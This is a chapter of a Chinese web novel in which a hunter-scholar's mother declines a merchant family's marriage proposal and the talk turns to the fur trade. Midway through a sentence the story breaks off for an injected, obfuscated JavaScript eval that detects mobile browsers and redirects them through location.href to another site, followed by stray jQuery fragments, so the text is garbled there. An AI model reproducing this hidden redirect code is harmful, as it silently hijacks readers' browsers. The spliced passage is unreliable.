79.礼法,传统

作品:《莽撞人

    文凤霞慢悠悠道:“结亲最重要的便是门当户对,我们是猎户人家,就算萱草现下考科举,未来若是做不上官,还是要靠山吃山。贵府门下诸多田产,又有如此丰厚的家资,我若是轻易应了,只怕旁人会笑话我卖女儿。”


    程宣阁又看了看自家儿子,见年轻人不自觉低下头颅,想了想道:“门当户对虽是传统,可若两个年轻人有心,不拘礼法再一起,倒也不是什么难事。”


    文凤霞意有所指地看向他:“何为礼法?何为传统?结亲要过六礼,纳采、问名、纳吉、纳征、请期、亲迎一处都不能少——小公子,你今日这般急切地上门,当真是心悦萱草?”


    妇人话锋转向程天鸣。


    文凤霞虽是村里人出身,但是头脑清醒得很,她卧病在床的这些年,只是身子孱弱,碍于形势,生怕自己不久人事才想将女儿嫁出去,可如今形势大好,文凤霞根本不急。


    她想活着看于萱草考中的那天。


    只要于萱草能考中,她就算下地府、入黄泉,都能跟于柏生有个交代。


    他们这样一个艰难求生的家庭,冬夏不顾地扒在娘娘山的险峰上,却能有一天穿着官袍当回人上人,这是天大的美梦。


    美梦是要付出代价的,成亲意味着生孩子,意味着有了拖累和负担,女人和男人不一样,以后的路难走着呢——文凤霞早就绝了让于萱草这个岁数成亲的念头,就是京城的谢渊来了,她也不会让!


    今日程宣阁与程天鸣急匆匆上门,可没有这样的礼数,看似是重视女方,但是明知女方已有拒绝的念头,却还如此冒失,反而看起来不美。


    双方连第一关都过不去,怎么能直接带相看的男女见面?天下没有这样的道理。


    程宣阁心下暗道这妇人不是个简单的,程天鸣被问得脸色臊红。


    但他是个知礼数的,立马起身作揖道歉:“文伯母,是我唐突了,不曾想到这点,前日魏太爷遣人到府上,我内心急切才央父亲前来。”


    文凤霞依旧笑意不减:“再欢喜也不能失了礼节,萱草脾气莽撞,行事却不莽撞。程公子,你二人脾性并不相配。”


    程宣阁坐不住了。


    你要说门第不相配可以,他们程家的确是清水镇数一数二的人家,但你说程天鸣配不上一个泥腿子出身的于萱草?


    他看了眼程天鸣:“伯母说得话可记在了心上?”


    程天鸣不甘心道:“可否让我与于姑娘见上一面?”


    程宣阁微不可见地皱皱眉,嫌他丢脸。


    这是还没死心。


    文凤霞从没听于萱草提起过程天鸣这个人名,料想她对程天鸣根本不熟悉。


    她不置可否地点头,看向门口等着的魏书海:“书海,你帮婶子叫萱草进门来。”


    魏书海方才见形势不对,直接躲了出去,当下应了一声往旁屋跑,路上还纳闷文凤霞怎么拒了这么一门好亲事。


    要是他未来的女儿能嫁给这么大的宅门,他绝对会高兴得三天三夜阖不上眼。


    他左思右想也没想通,苦着脸去敲门,见于萱草正和他媳妇儿说话,他便说道:“萱草,正屋叫你。”


    于萱草面上的笑还没散去,她刚才正帮着书海媳妇儿算账,两人有说有笑的。


    “知道了,嫂子我去一趟。”


    于萱草跟着魏书海离开院子,好奇地打探:“究竟是谁来了?带这么多奴仆,也不让人进堂屋歇一歇,可真是不把奴才当人。”


    她撇撇嘴,视线落在院子外冻得发抖的奴仆身上,心想他们这一来一回至少半天时间,这些人估计都是帮着路上清雪的,到了地方竟然都不给歇歇脚。


    魏书海“嗐”一声,“大户人家都这样。”


    他对这些司空见惯,于萱草对这户人家却没什么好印象。


    正想着,两人推门而入,一抬眼就看见屋里的老少四人。


    于萱草看向主位的魏天锡,走到堂中作揖行礼:“太爷。”


    魏天锡方才见形势不对,一直没吱声,眼下见她来了,立时笑呵呵地。


    “好孩子,这位是雄彤皮行的程东家,”他手拄着拐杖,叫她见礼。


    魏书海悄悄将门关上,掩下风雪的呼啸声。


    于萱草看向这穿着体面的中年人,适当露出笑意,也一作揖:“见过程东家。”


    程宣阁打量着于萱草,见她行的是男子作揖礼,就知道她是个不拘闺阁的,的确如文氏所说。


    而且,寻常女子见男客满堂,早就羞得不愿说话了,这女子却能落落大方,果然是与寻常女子不同。


    程宣阁还注意到,她连个眼神都没给过程天鸣。


    他稳住心神,宽和地道:“请坐。”


    于萱草这才拎起衣摆坐下,她视线掠过堂内,好奇这程东家来村里做什么。


    莫不是想找她打皮张?


    于萱草心思转了一圈,一抬眼,就看对面坐着的程天鸣。


    她总感觉有些眼熟,但想不起来是谁,见程天鸣望过来,她主动问:“观这位公子面善,此前可是德怡学堂的学子?”


    程天鸣得到她的回话,心下的失落总算褪去两分。


    他高兴地笑道:“我是程天鸣,不知道你还记不记得,有一次男士堂与女士堂互换策论,我们男士堂的学子将你的策论全都传看了一遍。”


    于萱草记得有这回事,德怡学堂在放年假前特意考了一次大摸底,女士堂整体水准不如男士堂,但是假以时日也能追上,夫子们倒是很乐观。


    她自谦道:“哪里,不过是纸上谈兵罢了。”


    她又看向上首的程宣阁,略微倾身问:“程东家此次前来村中,可是有要事相商?”


    程宣阁面不改色道:“此前听闻魏王李三家背靠娘娘山,人杰地灵,但娘娘山环境艰险,这么多年竟只有于姑娘一位猎户,在下倒是稀奇得紧。”


    文凤霞不动声色喝了口茶。


    “娘娘山的确地势险峻,进山是不容易一些,但晚辈区区一介野户,只怕不值当东家亲自走一趟。观您此前与家慈相商,现下又叫了晚辈,可是遇到了麻烦?”


    程宣阁见她行事这般老练,突然理解文氏的选择,这女子若是有运道,来日想必不会屈居于清水镇。


    十九岁的年纪,为人处世和言辞远胜于自家幼子程天鸣。


    金鳞岂是池中物,一应风云便化龙。(1)


    见于萱草这般落落大方,眉眼端正不失机锋,周身干练英气,实在不是寻常女子所比。


    程宣阁这下的确是想为幼子觅得这等佳媳了。


    他笑了几声,“小友可真是敏锐至极,我等前来,的确是有些生意上


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16874326|185278||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的事儿。”


    程天鸣郁闷地看了眼父亲,好奇他怎么又说到生意上了。


    “日前听闻山盟皮行想寻小友长期供货,此事属实?”程宣阁打探道。


    “属实,山盟皮行的蒙东家和张友师傅事先托我猎皮张,我也是因此特意返回村中。”


    于萱草猜测他要抢蒙东家的生意。


    最近皮行市场行情紧张,各家皮张短缺,在外面的生意都不好做了,家养的兔子皮根本比不上野生的,偏偏巴阳山猎户也很少进山,而此前由于萱草供应的大批高端皮张也在逐步减量。


    尤其是这几个月,程宣阁就没见过她来卖猎物。


    程宣阁开门见山问:“于小友,这几个月听说你在读书科举,日后是否还会供应皮张?”


    于萱草沉思半晌,“我是猎户,自然以进山的营生为主,但是科举是终身大事,这一二年,只怕我进山的次数会减少许多。”


    个人的选择,旁人无法左右。


    程宣阁表示理解,却还是承诺道:“小友若是愿意供应我们雄彤皮行,在下愿意许以两倍行情价。”


    抬价这事儿对于皮行来说不算难事,娘娘山的皮子是紧俏货,转手抬高价也有人愿意买下来。


    于萱草一点头,笑着应承:“那就承蒙东家看得上,日后晚辈会多多支持贵行的生意。”


    这时候,文凤霞放下茶盏,笑着看向程天鸣:“天鸣,日后可要与萱草多来往,程老板愿意开金口,我们可是占了大便宜。”


    话到此处,结亲的事宜被不动声色揭过。


    程宣阁没有不识趣地再提,也知道文凤霞这句话是在提点程天鸣,让他日后认清身份。


    他心中叹了一口气,还是想再争取一下于萱草的婚事,但今日太失礼数,实在不是好时机。


    想到这儿,程宣阁有些埋怨程天鸣,怪他太着急,不知道徐徐而图之。


    魏天锡见这出戏唱得差不多,便起身散局,率先送走了程氏父子。


    于萱草顶着再度阖上的大门,有些奇怪,觉得事情没那么简单。


    “他大老远来找我,就为了让我支持他的生意?”


    皮张是紧缺,但不可能紧缺到这个程度。


    于萱草一挑眉,看向文凤霞,“娘,你说话啊。”


    文凤霞悠悠叹了口气:“也不知道我今日是不是得罪了人家。”


    “啊?”于萱草扶着她,“等回去再说吧。”


    魏文也在旁屋等着,见母女俩从屋里出来,兴奋地问文凤霞:“婶子,成没成?”


    文凤霞笑着说:“缘分没到,萱草的婚事不着急。”


    都十九岁了,还不着急啊?


    魏文腹诽,面上没表现出来,但感觉文凤霞这话音不对,她面上还挂着笑,一点不像是亲事没成失落难过的样儿。


    母女俩走在前头,出院子的时候,程氏父子已经坐上马车,带着大批奴仆消失在了村间的小路上。


    魏文落在后头,拉着魏书海的袖子打探消息。


    魏书海苦着脸:“文婶子将亲事拒了,她说不想卖女儿。”


    “还说什么不合传统呀,礼法呀什么的,哎呀回头细说。”


    魏文好奇内情,就让于萱草母女俩先回去。


    于萱草和文凤霞谢过魏天锡,道过别才上车。